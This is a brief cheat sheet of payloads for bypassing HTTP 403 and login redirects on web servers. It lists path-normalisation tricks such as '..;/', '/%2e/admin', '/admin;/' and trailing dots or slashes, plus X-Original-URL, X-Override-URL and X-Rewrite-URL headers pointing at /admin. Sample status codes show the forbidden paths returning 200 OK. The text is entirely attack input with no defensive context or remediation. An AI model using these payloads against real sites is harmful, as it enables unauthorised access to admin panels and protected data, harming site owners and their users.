403 bypass

https://target.com/admin/ –> HTTP 302 (redirect to login page)
https://target.com/admin..;/ –> HTTP 200 OK

https://target.com/../admin
https://target.com/whatever/..;/admin

site.com/secret –> HTTP 403 Forbidden
site.com/secret/ –> HTTP 200 OK
site.com/secret/. –> HTTP 200 OK
site.com//secret// –> HTTP 200 OK
site.com/./secret/.. –> HTTP 200 OK

X-Original-URL: /admin
X-Override-URL: /admin
X-Rewrite-URL: /admin

/accessible/..;/admin
/.;/admin
/admin;/
/admin/~
/./admin/./
/admin?param
/%2e/admin
/admin#